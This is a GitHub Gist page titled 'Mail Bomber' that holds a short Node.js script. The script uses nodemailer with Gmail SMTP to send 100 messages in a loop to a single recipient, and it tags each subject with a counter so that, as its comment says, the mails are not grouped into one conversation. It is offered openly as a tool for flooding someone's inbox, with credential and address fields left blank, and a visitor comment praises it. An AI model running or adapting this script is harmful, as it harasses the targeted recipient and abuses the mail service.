Created
March 19, 2014 06:43
-
-
Save mohitathwani/9636578 to your computer and use it in GitHub Desktop.
Mail Bomber
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var nodemailer = require("nodemailer"); | |
for (var i= 1; i<=100; i++) { | |
// create reusable transport method | |
//(opens pool of SMTP connections) | |
var smtpTransport = | |
nodemailer.createTransport("SMTP",{ | |
service: "Gmail", | |
auth: { | |
user: "", | |
pass: "" | |
} | |
}); | |
// setup e-mail data with unicode symbols | |
var mailOptions = { | |
from: "", // sendaddress | |
to: "", | |
subject: "Some Random Subject ! "+i+" !", //Append 'i' to it so that mails are not grouped into a single conversation | |
text: "Hello world ✔", // plaintext body | |
html: "<b>Hello world ✔</b>" | |
} | |
// send mail with defined transport object | |
smtpTransport.sendMail(mailOptions, | |
function(error, response){ | |
if(error){ | |
console.log(error); | |
}else{ | |
console.log(i + " Message sent: " | |
+ response.message); | |
} | |
// if you don't want to use this yuncomment following line | |
smtpTransport.close(); | |
}); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
good job)